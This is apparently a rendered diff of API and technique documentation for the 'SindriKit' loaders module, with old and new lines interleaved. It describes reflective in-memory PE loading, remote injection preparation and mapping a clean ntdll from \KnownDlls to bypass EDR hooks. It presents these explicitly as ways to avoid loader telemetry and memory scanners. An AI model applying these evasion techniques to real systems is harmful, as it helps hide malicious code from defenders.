On success, the context is left in `SND_STAGE_READY_FOR_EXECUTION`.
|
1. `snd_pe_parse(ctx->raw_source, FALSE, &ctx->pe)`
|
||||||
|
2. `snd_ldr_pe_compatibility_check`
|
||||||
|
3. `snd_ldr_pe_allocate_and_copy_image`
|
||||||
|
4. `snd_ldr_pe_apply_relocations`
|
||||||
|
5. `snd_ldr_pe_resolve_imports`
|
||||||
|
6. `snd_ldr_pe_apply_memory_protections`
|
||||||
|
|
||||||
| Parameter | Type | Description |
|
Leaves context at `SND_STAGE_READY_FOR_EXECUTION`. Does **not** run TLS or invoke the entry point.
|
||||||
|
|
||||||
|
```c
|
||||||
|
snd_status_t snd_ldr_pe_prepare_image(snd_ldr_pe_ctx_t *ctx);
|
||||||
|
```
|
||||||
|
|
||||||
|
**Returns:** `SND_OK` or first failing stage status
|
||||||
|
|
||||||
|
**Source:** `src/loaders/reflective/chain.c`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### `snd_ldr_pe_execute_image`
|
||||||
|
|
||||||
|
Executes a prepared image locally. Requires `SND_STAGE_READY_FOR_EXECUTION` and `local_base == execution_base`.
|
||||||
|
|
||||||
|
1. Resolves entry point
|
||||||
|
2. Runs TLS callbacks (`DLL_PROCESS_ATTACH`)
|
||||||
|
3. Invokes `DllMain` (DLL) or jumps to EXE entry
|
||||||
|
|
||||||
|
```c
|
||||||
|
snd_status_t snd_ldr_pe_execute_image(snd_ldr_pe_ctx_t *ctx);
|
||||||
|
```
|
||||||
|
|
||||||
|
**Returns:** `SND_OK`, `SND_STATUS_DLL_INITIALIZATION_FAILED`, `SND_STATUS_ENTRY_POINT_NOT_FOUND`, `SND_STATUS_UNSUPPORTED` (remote-prepared image)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### `snd_ldr_pe_detach_image`
|
||||||
|
|
||||||
|
Tears down a locally executed image. Requires `SND_STAGE_EXECUTED` and matching local/execution bases. Runs DLL detach + TLS detach, then frees mapped memory.
|
||||||
|
|
||||||
|
```c
|
||||||
|
void snd_ldr_pe_detach_image(snd_ldr_pe_ctx_t *ctx);
|
||||||
|
```
|
||||||
|
|
||||||
|
No-op if preconditions fail (including remote-prepared images).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Reflective Engine (`sindri/loaders/reflective/engine.h`)
|
||||||
|
|
||||||
|
### `snd_ldr_pe_ctx_t`
|
||||||
|
|
||||||
|
Central context for reflective PE operations.
|
||||||
|
|
||||||
|
| Field | Type | Description |
|
||||||
|---|---|---|
|
|---|---|---|
|
||||||
| `ctx` | `snd_loader_ctx_t*` | Initialized loader context with `raw_source`, `mem_api`, and `mod_api` set |
|
| `raw_source` | `const snd_buffer_t *` | Raw on-disk PE bytes |
|
||||||
|
| `pe` | `snd_pe_parser_t` | Parsed PE context (raw then re-parsed mapped) |
|
||||||
**Returns:** `snd_status_t` — `SND_OK` on success, or the status of the first failing stage.
|
| `target` | `snd_pe_target_t` | Allocation, delta, entry point state |
|
||||||
|
| `stage` | `snd_ldr_pe_stage_t` | Current pipeline stage |
|
||||||
|
| `mem_api` | `const snd_memory_api_t *` | Injected memory primitives |
|
||||||
|
| `mod_api` | `const snd_module_api_t *` | Injected module primitives |
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
### `snd_execute_reflective_image`
|
|
||||||
|
|
||||||
Resolves the entry point and calls it. Requires the context to be in `SND_STAGE_READY_FOR_EXECUTION`.
|
|
||||||
|
|
||||||
| Parameter | Type | Description |
|
|
||||||
|---|---|---|
|
|
||||||
| `ctx` | `snd_loader_ctx_t*` | Prepared loader context |
|
|
||||||
|
|
||||||
**Returns:** `snd_status_t` — `SND_OK` on success.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### `snd_detach_reflective_image`
|
|
||||||
|
|
||||||
Resets the loader context state. Does not free allocated virtual memory — call `snd_free_mapped_image` first if cleanup is required.
|
|
||||||
|
|
||||||
| Parameter | Type | Description |
|
|
||||||
|---|---|---|
|
|
||||||
| `ctx` | `snd_loader_ctx_t*` | Loader context to reset |
|
|
||||||
|
|
||||||
**Returns:** `void`
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Reflective Loader Engine (`sindri/loaders/reflective/engine.h`)
|
|
||||||
|
|
||||||
The engine functions expose each loading stage individually. These are utilized when fine-grained control over the pipeline is required — for example, to pause between stages for sleep obfuscation, or to inspect context state mid-operation.
|
|
||||||
|
|
||||||
### `snd_pe_target_t`
|
### `snd_pe_target_t`
|
||||||
|
|
||||||
Structure tracking the state of the allocated target region during the loading process.
|
|
||||||
|
|
||||||
| Field | Type | Description |
|
| Field | Type | Description |
|
||||||
|---|---|---|
|
|---|---|---|
|
||||||
| `virtual_base` | `LPVOID` | Allocated virtual memory base, populated after `SND_STAGE_MEM_ALLOCATED` |
|
| `local_base` | `LPVOID` | Local virtual mapping base |
|
||||||
| `delta_offset` | `LONG_PTR` | Relocation delta (actual base minus preferred `ImageBase`) |
|
| `execution_base` | `LPVOID` | Base for relocation delta (remote base when baking for injection) |
|
||||||
| `entry_point` | `LPVOID` | Resolved entry point address |
|
| `delta_offset` | `LONG_PTR` | `execution_base - ImageBase` |
|
||||||
| `allocated_size` | `SIZE_T` | Total size of the virtual allocation |
|
| `entry_point` | `LPVOID` | Resolved entry (after get_entry_point) |
|
||||||
|
| `allocated_size` | `SIZE_T` | `SizeOfImage` allocation size |
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
### `snd_loader_ctx_t`
|
### `snd_ldr_pe_stage_t`
|
||||||
|
|
||||||
The central context structure for a reflective load operation.
|
| Constant | Value |
|
||||||
|
|---|---|
|
||||||
|
| `SND_STAGE_UNINITIALIZED` | 0 |
|
||||||
|
| `SND_STAGE_PARSED` | 1 |
|
||||||
|
| `SND_STAGE_MEM_ALLOCATED` | 2 |
|
||||||
|
| `SND_STAGE_SECTIONS_MAPPED` | 3 |
|
||||||
|
| `SND_STAGE_RELOCATED` | 4 |
|
||||||
|
| `SND_STAGE_IMPORTS_RESOLVED` | 5 |
|
||||||
|
| `SND_STAGE_READY_FOR_EXECUTION` | 6 |
|
||||||
|
| `SND_STAGE_EXECUTED` | 7 |
|
||||||
|
|
||||||
| Field | Type | Description |
|
---
|
||||||
|
|
||||||
|
### Engine functions
|
||||||
|
|
||||||
|
| Function | Required stage | Description |
|
||||||
|---|---|---|
|
|---|---|---|
|
||||||
| `raw_source` | `const snd_buffer_t*` | Raw payload buffer (the on-disk PE bytes) |
|
| `snd_ldr_pe_compatibility_check` | (after parse) | Host vs payload bitness |
|
||||||
| `pe` | `snd_pe_parser_t` | Parsed PE context, populated after stage `SND_STAGE_PARSED` |
|
| `snd_ldr_pe_allocate_and_copy_image` | `PARSED` | Alloc + section copy + re-parse mapped |
|
||||||
| `target` | `snd_pe_target_t` | Target state block containing allocated memory and delta data |
|
| `snd_ldr_pe_apply_relocations` | `SECTIONS_MAPPED` | Base relocation fixups |
|
||||||
| `stage` | `snd_loader_stage_t` | Current state machine position |
|
| `snd_ldr_pe_resolve_imports` | `RELOCATED` | IAT patching via `mod_api` |
|
||||||
| `mem_api` | `const snd_memory_api_t*` | Injected memory primitives |
|
| `snd_ldr_pe_apply_memory_protections` | `IMPORTS_RESOLVED` | Per-page section protections |
|
||||||
| `mod_api` | `const snd_module_api_t*` | Injected module primitives |
|
| `snd_ldr_pe_get_entry_point` | `>= READY_FOR_EXECUTION` | Populates `target.entry_point` |
|
||||||
|
| `snd_ldr_pe_execute_tls_callbacks` | `>= READY_FOR_EXECUTION` | Invokes TLS callback array |
|
||||||
|
| `snd_ldr_pe_get_proc_address` | `>= READY_FOR_EXECUTION` | Export resolve via `snd_pe_get_export_address` |
|
||||||
|
| `snd_ldr_pe_free_mapped_image` | (any with `local_base`) | Frees mapping, resets toward `PARSED` |
|
||||||
|
|
||||||
|
**Source:** `src/loaders/reflective/engine.c`
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
### `snd_compatibility_check`
|
### `snd_ldr_pe_get_proc_address`
|
||||||
|
|
||||||
Validates that the payload's architecture matches the host process bitness.
|
Resolves an export from the loaded image using the PE export parser. Forwarders use `mod_api->get_module_base` as resolver.
|
||||||
|
|
||||||
| Parameter | Type | Description |
|
```c
|
||||||
|---|---|---|
|
snd_status_t snd_ldr_pe_get_proc_address(snd_ldr_pe_ctx_t *ctx, const char *func_name, FARPROC *func_addr_out);
|
||||||
| `ctx` | `snd_loader_ctx_t*` | Loader context with a populated `pe` field |
|
```
|
||||||
|
|
||||||
**Returns:** `snd_status_t` — `SND_OK` on match, `SND_STATUS_ARCH_MISMATCH` otherwise.
|
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
### `snd_allocate_and_copy_image`
|
### Export call macros
|
||||||
|
|
||||||
Allocates `SizeOfImage` bytes via `ctx->mem_api->alloc` and copies PE sections from their raw file offsets to their virtual addresses. Populates `ctx->target.virtual_base` and `ctx->target.allocated_size`.
|
#### `SND_CALL_EXPORT`
|
||||||
|
|
||||||
| Parameter | Type | Description |
|
Resolves and calls an export; discards return value.
|
||||||
|---|---|---|
|
|
||||||
| `ctx` | `snd_loader_ctx_t*` | Loader context with a populated `pe` field |
|
|
||||||
|
|
||||||
**Returns:** `snd_status_t` — `SND_OK` on success, or an allocation/copy error.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### `snd_apply_relocations`
|
|
||||||
|
|
||||||
Applies base relocation fixups. Computes the delta between the actual allocated base and the PE's preferred `ImageBase`, then patches each pointer-sized field in the `.reloc` blocks.
|
|
||||||
|
|
||||||
| Parameter | Type | Description |
|
|
||||||
|---|---|---|
|
|
||||||
| `ctx` | `snd_loader_ctx_t*` | Loader context with `target.virtual_base` populated |
|
|
||||||
|
|
||||||
**Returns:** `snd_status_t` — `SND_OK` on success, or a relocation error (e.g., `SND_STATUS_RELOCATION_PATCH_OUT_OF_RANGE`).
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### `snd_resolve_imports`
|
|
||||||
|
|
||||||
Walks the Import Descriptor table. For each imported DLL, calls `ctx->mod_api->load_library`. For each thunk, calls `ctx->mod_api->get_proc_address` (by name) or resolves by ordinal. Writes resolved addresses into the IAT.
|
|
||||||
|
|
||||||
| Parameter | Type | Description |
|
|
||||||
|---|---|---|
|
|
||||||
| `ctx` | `snd_loader_ctx_t*` | Loader context with sections mapped and relocated |
|
|
||||||
|
|
||||||
**Returns:** `snd_status_t` — `SND_OK` on success, or an import resolution error.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### `snd_apply_memory_protections`
|
|
||||||
|
|
||||||
Iterates sections and sets per-section page protections via `ctx->mem_api->protect`, based on each section's `Characteristics` flags (`MEM_EXECUTE`, `MEM_READ`, `MEM_WRITE`).
|
|
||||||
|
|
||||||
| Parameter | Type | Description |
|
|
||||||
|---|---|---|
|
|
||||||
| `ctx` | `snd_loader_ctx_t*` | Loader context with sections mapped and imports resolved |
|
|
||||||
|
|
||||||
**Returns:** `snd_status_t` — `SND_OK` on success, `SND_STATUS_PROTECTION_UPDATE_FAILED` on error.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### `snd_execute_tls_callbacks`
|
|
||||||
|
|
||||||
Locates the TLS data directory and calls each `PIMAGE_TLS_CALLBACK` in the callback array.
|
|
||||||
|
|
||||||
| Parameter | Type | Description |
|
|
||||||
|---|---|---|
|
|
||||||
| `ctx` | `snd_loader_ctx_t*` | Loader context with protections applied |
|
|
||||||
| `reason` | `DWORD` | Callback reason code (e.g., `DLL_PROCESS_ATTACH`) |
|
|
||||||
|
|
||||||
**Returns:** `void`
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### `snd_get_entry_point`
|
|
||||||
|
|
||||||
Resolves the entry point address from `OptionalHeader.AddressOfEntryPoint` and stores it in `ctx->target.entry_point`.
|
|
||||||
|
|
||||||
| Parameter | Type | Description |
|
|
||||||
|---|---|---|
|
|
||||||
| `ctx` | `snd_loader_ctx_t*` | Loader context |
|
|
||||||
|
|
||||||
**Returns:** `snd_status_t` — `SND_OK` on success, `SND_STATUS_ENTRY_POINT_NOT_FOUND` if invalid.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### `snd_get_proc_address`
|
|
||||||
|
|
||||||
Resolves an exported symbol from the reflectively loaded image by walking its export table. Does not require the image to be registered in the PEB.
|
|
||||||
|
|
||||||
| Parameter | Type | Description |
|
|
||||||
|---|---|---|
|
|
||||||
| `ctx` | `snd_loader_ctx_t*` | Loader context of the loaded image |
|
|
||||||
| `func_name` | `const char*` | Plaintext name of the target export |
|
|
||||||
| `func_addr_out` | `FARPROC*` | Receives the resolved export address |
|
|
||||||
|
|
||||||
**Returns:** `snd_status_t` — `SND_OK` on success, `SND_STATUS_EXPORT_NOT_FOUND` if not found.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### `snd_free_mapped_image`
|
|
||||||
|
|
||||||
Frees the virtual memory region allocated for the mapped image via `ctx->mem_api->free`.
|
|
||||||
|
|
||||||
| Parameter | Type | Description |
|
|
||||||
|---|---|---|
|
|
||||||
| `ctx` | `snd_loader_ctx_t*` | Loader context with a valid `target.virtual_base` |
|
|
||||||
|
|
||||||
**Returns:** `void`
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### `SND_CALL_EXPORT`
|
|
||||||
|
|
||||||
Resolves and calls a named export from the loaded image. The return value of the export is discarded.
|
|
||||||
|
|
||||||
```c
|
```c
|
||||||
SND_CALL_EXPORT(ctx, name, signature, status_out, ...)
|
SND_CALL_EXPORT(ctx, name, signature, status_out, ...)
|
||||||
```
|
```
|
||||||
|
|
||||||
| Parameter | Description |
|
#### `SND_CALL_EXPORT_RET`
|
||||||
|---|---|
|
|
||||||
| `ctx` | Pointer to the initialized loader context |
|
|
||||||
| `name` | Plaintext string name of the target export |
|
|
||||||
| `signature` | Function pointer type to cast the export to (e.g., `void (*)(void)`) |
|
|
||||||
| `status_out` | A `snd_status_t` variable that receives the resolution result |
|
|
||||||
| `...` | Arguments to pass to the export |
|
|
||||||
|
|
||||||
---
|
Resolves and calls an export; captures return value in `ret_out`.
|
||||||
|
|
||||||
### `SND_CALL_EXPORT_RET`
|
|
||||||
|
|
||||||
Resolves and calls a named export, capturing its return value.
|
|
||||||
|
|
||||||
```c
|
```c
|
||||||
SND_CALL_EXPORT_RET(ctx, name, signature, status_out, ret_out, ...)
|
SND_CALL_EXPORT_RET(ctx, name, signature, status_out, ret_out, ...)
|
||||||
```
|
```
|
||||||
|
|
||||||
| Parameter | Description |
|
Both macros set `status_out` from `snd_ldr_pe_get_proc_address` and only invoke the function when resolution succeeds (`SND_SUCCEEDED(status_out)`).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Stage validation errors
|
||||||
|
|
||||||
|
Engine functions return `SND_STATUS_INVALID_STAGE_SEQUENCE` with context naming expected vs actual stage. Allocation failure during section copy rolls back to `SND_STAGE_PARSED` and frees `local_base`.
|
||||||
|
|
||||||
|
### `snd_ldr_pe_free_mapped_image` vs `snd_ldr_pe_detach_image`
|
||||||
|
|
||||||
|
| Function | When to use |
|
||||||
|---|---|
|
|---|---|
|
||||||
| `ctx` | Pointer to the initialized loader context |
|
| `snd_ldr_pe_free_mapped_image` | Release virtual memory after prepare-only or failed load |
|
||||||
| `name` | Plaintext string name of the target export |
|
| `snd_ldr_pe_detach_image` | Full teardown after local execute: DllMain detach, TLS detach, then free |
|
||||||
| `signature` | Function pointer type to cast the export to |
|
|
||||||
| `status_out` | A `snd_status_t` variable that receives the resolution result |
|
`detach_image` is a no-op when `local_base != execution_base` (remote-prepared images from `snd_inj_classic_pe`).
|
||||||
| `ret_out` | Variable to store the export's return value |
|
|
||||||
| `...` | Arguments to pass to the export |
|
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## KnownDlls Loader (`sindri/loaders/knowndlls/knowndlls.h`)
|
## Usage Example (local reflective load)
|
||||||
|
|
||||||
### `SND_TARGET_KNOWNDLLS_DIR`
|
```c
|
||||||
|
snd_ldr_pe_ctx_t ctx = {0};
|
||||||
|
ctx.raw_source = &file_buf;
|
||||||
|
ctx.mem_api = &snd_mem_win;
|
||||||
|
ctx.mod_api = &snd_mod_win;
|
||||||
|
|
||||||
**Value:** `L"\\KnownDlls\\"` (x64) or `L"\\KnownDlls32\\"` (x86)
|
snd_status_t status = snd_ldr_pe_prepare_image(&ctx);
|
||||||
|
if (SND_FAILED(status)) goto cleanup;
|
||||||
|
|
||||||
The architecture-dependent Object Manager directory path where pristine system DLL section objects are cached by `smss.exe`.
|
status = snd_ldr_pe_execute_image(&ctx);
|
||||||
|
if (SND_FAILED(status)) goto cleanup;
|
||||||
|
|
||||||
|
snd_ldr_pe_detach_image(&ctx);
|
||||||
|
cleanup:
|
||||||
|
snd_ldr_pe_free_mapped_image(&ctx);
|
||||||
|
```
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
### `snd_knowndlls_config_t`
|
## Related Documentation
|
||||||
|
|
||||||
Configuration structure for the KnownDlls loader mapping technique. Two pre-built instances are exported globally:
|
- [Injection API](../injection/api_reference.md) — `snd_inj_classic_pe` reuses loader engine steps
|
||||||
|
- [PE parser API](../../parsers/pe/api_reference.md) — underlying parse/reloc/import primitives
|
||||||
- `snd_knowndlls_win`: Uses Win32 implementations (e.g., `NtOpenSection` via `GetProcAddress`).
|
- [Memory / module primitives](../primitives/memory/api_reference.md) — `mem_api` / `mod_api` backends
|
||||||
- `snd_knowndlls_native`: Uses direct syscall implementations.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### `snd_map_knowndll`
|
|
||||||
|
|
||||||
Opens the named DLL's section object from the `\KnownDlls` Object Manager directory and maps a view of it into the current process.
|
|
||||||
|
|
||||||
| Parameter | Type | Description |
|
|
||||||
|---|---|---|
|
|
||||||
| `config` | `const snd_knowndlls_config_t*` | Pointer to the injected API configuration (`&snd_knowndlls_win` or `&snd_knowndlls_native`) |
|
|
||||||
| `dll_name` | `const wchar_t*` | Exact DLL name as it appears in `\KnownDlls` (e.g., `L"ntdll.dll"`) |
|
|
||||||
| `out_base_address` | `PVOID*` | Receives the base address of the mapped section |
|
|
||||||
|
|
||||||
**Returns:** `snd_status_t` — `SND_OK` on success.
|
|
||||||
|
|||||||
@@ -1,75 +1,180 @@
|
|||||||
# Loaders: Techniques
|
# Loaders: Techniques
|
||||||
|
|
||||||
The loaders domain implements two distinct mechanisms for getting code into memory: Reflective PE Loading, which maps and executes a full PE image entirely in-process, and KnownDlls Mapping, which retrieves a clean, unhooked system DLL directly from the Windows Object Manager. Both are foundational to SindriKit's bootstrapping model and are built on top of the primitives domain's injected OS API tables.
|
The loaders domain maps PE images into memory and prepares them for execution without the Windows loader. The first implemented technique is **Reflective PE Loading** under `loaders/reflective/`.
|
||||||
|
|
||||||
|
**Prerequisite reading:** [PE parser techniques](../../parsers/pe/techniques.md), [Dependency Injection](../../architecture/dependency_injection.md)
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Reflective PE Loading
|
## Reflective PE Loading
|
||||||
|
|
||||||
Reflective loading is the technique of mapping and executing a PE image (EXE or DLL) entirely in memory without invoking the Windows loader. No file touches disk during execution. The loaded image does not appear in the PEB's `InMemoryOrderModuleList`, leaving no `LoadLibrary` trace detectable via standard loader telemetry.
|
Reflective loading maps and executes a PE (EXE or DLL) entirely in the **local** process without `LoadLibrary`. The image does not appear in the PEB module lists — no loader telemetry from standard module enumeration.
|
||||||
|
|
||||||
The concept was first published by Stephen Fewer in 2008 and has since become a foundational primitive in virtually all serious in-memory execution frameworks.
|
|
||||||
|
|
||||||
**Original research:** [Reflective DLL Injection](https://github.com/stephenfewer/ReflectiveDLLInjection) by Stephen Fewer (2008)
|
**Original research:** [Reflective DLL Injection](https://github.com/stephenfewer/ReflectiveDLLInjection) by Stephen Fewer (2008)
|
||||||
|
|
||||||
### The Loading Pipeline
|
### Context and DI
|
||||||
|
|
||||||
SindriKit's reflective loader is entirely decoupled from the Win32 API. Every step operates through the `mem_api` and `mod_api` pointers injected into the `snd_loader_ctx_t` at initialization time. Swapping those pointers changes the entire footprint — from fully Win32-visible to completely syscall-direct — without touching a single line of loader logic.
|
Operations run through `snd_ldr_pe_ctx_t` with injected primitives:
|
||||||
|
|
||||||
The pipeline proceeds through the following stages, each tracked by `snd_loader_stage_t`:
|
```c
|
||||||
|
snd_ldr_pe_ctx_t ctx = {0};
|
||||||
|
ctx.raw_source = &payload_buf;
|
||||||
|
ctx.mem_api = &snd_mem_sys; // or snd_mem_win, snd_mem_nt
|
||||||
|
ctx.mod_api = &snd_mod_nt; // or snd_mod_win
|
||||||
|
```
|
||||||
|
|
||||||
#### 1. Parse (`SND_STAGE_PARSED`)
|
Every memory and import operation calls `ctx->mem_api` / `ctx->mod_api` — never hardcoded Win32 APIs.
|
||||||
The raw payload buffer is passed to the PE parser (`snd_pe_parse`). The parser validates the DOS signature (`MZ`), the NT signature (`PE\0\0`), and the Optional Header magic (`0x10B` for PE32, `0x20B` for PE32+). On success, the parsed context — NT headers pointer, section table pointer, `is_64bit` flag — is stored inside `ctx.pe`.
|
|
||||||
|
|
||||||
#### 2. Architecture Check
|
### Target block (`snd_pe_target_t`)
|
||||||
`snd_compatibility_check` validates that the payload's bitness matches the host process. A 64-bit payload in a 32-bit process is rejected with `SND_STATUS_ARCH_MISMATCH` before any allocation occurs.
|
|
||||||
|
|
||||||
#### 3. Allocate and Copy Sections (`SND_STAGE_MEM_ALLOCATED`, `SND_STAGE_SECTIONS_MAPPED`)
|
| Field | Role |
|
||||||
`snd_allocate_and_copy_image` calls `ctx->mem_api->alloc` to reserve `SizeOfImage` bytes. It then copies each section from the raw file layout (using `PointerToRawData` as the source offset) to its virtual destination (using `VirtualAddress` as the target offset). Sections not present in the file (zero `SizeOfRawData`) are zeroed in the mapped image.
|
|---|---|
|
||||||
|
| `local_base` | Locally allocated image mapping (RW during fixups) |
|
||||||
|
| `execution_base` | Base used for relocation delta (defaults to `local_base`; set to remote base for injection bake) |
|
||||||
|
| `delta_offset` | `execution_base - ImageBase` |
|
||||||
|
| `entry_point` | Resolved entry (after `snd_ldr_pe_get_entry_point`) |
|
||||||
|
| `allocated_size` | `SizeOfImage` |
|
||||||
|
|
||||||
#### 4. Apply Base Relocations (`SND_STAGE_RELOCATED`)
|
When `local_base != execution_base`, the image was prepared for a **remote** address (Classic PE injection). Local execute/detach paths refuse to run.
|
||||||
`snd_apply_relocations` computes the delta between the actual allocated base and the PE's preferred `ImageBase`. It walks `IMAGE_BASE_RELOCATION` blocks in the `.reloc` section and, for each entry of type `IMAGE_REL_BASED_DIR64` (x64) or `IMAGE_REL_BASED_HIGHLOW` (x86), adds the delta to the embedded pointer. Each patch is bounds-checked before application.
|
|
||||||
|
|
||||||
If the image was allocated at its preferred base (delta is zero), this step is a no-op.
|
|
||||||
|
|
||||||
#### 5. Resolve Imports (`SND_STAGE_IMPORTS_RESOLVED`)
|
|
||||||
`snd_resolve_imports` walks the `IMAGE_IMPORT_DESCRIPTOR` table. For each descriptor, it calls `ctx->mod_api->load_library` to load the required DLL, then iterates the Import Name Table (INT). Each thunk is resolved: ordinal-based imports use the ordinal directly; name-based imports call `ctx->mod_api->get_proc_address`. Resolved addresses are written into the Import Address Table (IAT).
|
|
||||||
|
|
||||||
#### 6. Apply Memory Protections (`SND_STAGE_READY_FOR_EXECUTION`)
|
|
||||||
`snd_apply_memory_protections` iterates sections and calls `ctx->mem_api->protect` to set per-section page protections based on `Characteristics` flags:
|
|
||||||
- `IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ` → `PAGE_EXECUTE_READ`
|
|
||||||
- `IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE` → `PAGE_READWRITE`
|
|
||||||
- `IMAGE_SCN_MEM_READ` only → `PAGE_READONLY`
|
|
||||||
|
|
||||||
No section is mapped `PAGE_EXECUTE_READWRITE` unless explicitly demanded by the image's section flags, minimizing memory scanner surface.
|
|
||||||
|
|
||||||
#### 7. TLS Callbacks
|
|
||||||
`snd_execute_tls_callbacks` checks for a TLS data directory. If present, it iterates the `PIMAGE_TLS_CALLBACK` array and calls each callback with the virtual base and the specified reason (e.g., `DLL_PROCESS_ATTACH`).
|
|
||||||
|
|
||||||
#### 8. Execute (`SND_STAGE_EXECUTED`)
|
|
||||||
`snd_execute_reflective_image` resolves the entry point (`snd_get_entry_point`) and calls it. For DLLs, the entry point is `DllMain(hModule, DLL_PROCESS_ATTACH, NULL)`. For EXEs, it is the `AddressOfEntryPoint`-derived function.
|
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## KnownDlls Mapping
|
## Stage Machine (`snd_ldr_pe_stage_t`)
|
||||||
|
|
||||||
When operating in native mode, SindriKit needs a clean `ntdll.dll` to extract SSNs from. The PEB-resident copy is the exact target of EDR userland hooking — its stubs may already be patched. Retrieving a fresh file from disk is detectable. The Windows Object Manager provides a cleaner alternative.
|
| Stage | Set by | Meaning |
|
||||||
|
|---|---|---|
|
||||||
|
| `SND_STAGE_UNINITIALIZED` | — | Empty context |
|
||||||
|
| `SND_STAGE_PARSED` | `snd_pe_parse` in chain/prepare | Raw PE validated |
|
||||||
|
| `SND_STAGE_MEM_ALLOCATED` | `snd_ldr_pe_allocate_and_copy_image` | Virtual memory reserved |
|
||||||
|
| `SND_STAGE_SECTIONS_MAPPED` | same (after section copy + re-parse mapped) | Sections copied, parser re-run with `is_mapped=TRUE` |
|
||||||
|
| `SND_STAGE_RELOCATED` | `snd_ldr_pe_apply_relocations` | Base relocations applied |
|
||||||
|
| `SND_STAGE_IMPORTS_RESOLVED` | `snd_ldr_pe_resolve_imports` | IAT patched |
|
||||||
|
| `SND_STAGE_READY_FOR_EXECUTION` | `snd_ldr_pe_apply_memory_protections` | Per-page protections applied |
|
||||||
|
| `SND_STAGE_EXECUTED` | `snd_ldr_pe_execute_image` | Entry point invoked |
|
||||||
|
|
||||||
At boot, the Session Manager (`smss.exe`) creates pre-mapped, read-only section objects for core system DLLs under the `\KnownDlls` Object Manager directory. These sections are snapshots taken before any userland security software is initialized. Opening `\KnownDlls\ntdll.dll` via `NtOpenSection` and mapping it into the current process with `NtMapViewOfSection` yields a pristine image whose text section has never been touched by EDR hooks.
|
Engine functions validate stage ordering and return `SND_STATUS_INVALID_STAGE_SEQUENCE` on violation.
|
||||||
|
|
||||||
The base address of this clean mapping is then fed directly to `snd_set_ntdll()`, ensuring that all subsequent SSN resolution operate on unmodified stubs.
|
---
|
||||||
|
|
||||||
|
## Reflective Pipeline (local execution)
|
||||||
|
|
||||||
|
### 1. Parse (`SND_STAGE_PARSED`)
|
||||||
|
|
||||||
|
`snd_pe_parse(raw_source, FALSE, &ctx.pe)` — raw file layout. Validates DOS/NT signatures and optional header magic.
|
||||||
|
|
||||||
|
### 2. Architecture check
|
||||||
|
|
||||||
|
`snd_ldr_pe_compatibility_check` — rejects cross-bitness payloads before allocation.
|
||||||
|
|
||||||
|
### 3. Allocate and copy (`SND_STAGE_MEM_ALLOCATED` → `SND_STAGE_SECTIONS_MAPPED`)
|
||||||
|
|
||||||
|
`snd_ldr_pe_allocate_and_copy_image`:
|
||||||
|
|
||||||
|
1. Tries `mem_api->alloc` at preferred `ImageBase`, falls back to OS-chosen base.
|
||||||
|
2. Copies headers and each section from file offsets to virtual addresses; zero-fills bss.
|
||||||
|
3. Re-parses the mapped buffer with `is_mapped=TRUE` so subsequent RVA lookups use virtual layout.
|
||||||
|
|
||||||
|
### 4. Apply relocations (`SND_STAGE_RELOCATED`)
|
||||||
|
|
||||||
|
`snd_ldr_pe_apply_relocations` sets `delta_offset = execution_base - ImageBase` and calls `snd_pe_apply_relocations`. No-op when delta is zero.
|
||||||
|
|
||||||
|
### 5. Resolve imports (`SND_STAGE_IMPORTS_RESOLVED`)
|
||||||
|
|
||||||
|
`snd_ldr_pe_resolve_imports` → `snd_pe_resolve_imports(local_base, mod_api, &pe)`. Requires mapped parser context.
|
||||||
|
|
||||||
|
### 6. Apply protections (`SND_STAGE_READY_FOR_EXECUTION`)
|
||||||
|
|
||||||
|
`snd_ldr_pe_apply_memory_protections` walks the image page-by-page, merging section characteristics per page, and applies protection **runs** via `mem_api->protect`. Headers default to read-only; section flags drive execute/read/write combinations. Avoids blanket `PAGE_EXECUTE_READWRITE` unless section flags demand it.
|
||||||
|
|
||||||
|
### 7. Execute (`SND_STAGE_EXECUTED`)
|
||||||
|
|
||||||
|
`snd_ldr_pe_execute_image`:
|
||||||
|
|
||||||
|
1. `snd_ldr_pe_get_entry_point`
|
||||||
|
2. `snd_ldr_pe_execute_tls_callbacks(DLL_PROCESS_ATTACH)`
|
||||||
|
3. **DLL:** call `DllMain(hinst, DLL_PROCESS_ATTACH, NULL)` — failure returns `SND_STATUS_DLL_INITIALIZATION_FAILED`
|
||||||
|
4. **EXE:** jump to entry point (does not return)
|
||||||
|
|
||||||
|
TLS and entry execution require `local_base == execution_base`.
|
||||||
|
|
||||||
|
### 8. Detach (optional cleanup)
|
||||||
|
|
||||||
|
`snd_ldr_pe_detach_image` — only when `stage == EXECUTED` and bases match locally:
|
||||||
|
|
||||||
|
- DLL: `DllMain(DETACH)`, TLS detach callbacks
|
||||||
|
- `snd_ldr_pe_free_mapped_image` — releases virtual memory, re-parses raw source
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Chain vs. Manual Staging
|
||||||
|
|
||||||
|
**Full chain** — `snd_ldr_pe_prepare_image` runs parse → compat → alloc/copy → reloc → imports → protections (no TLS, no entry).
|
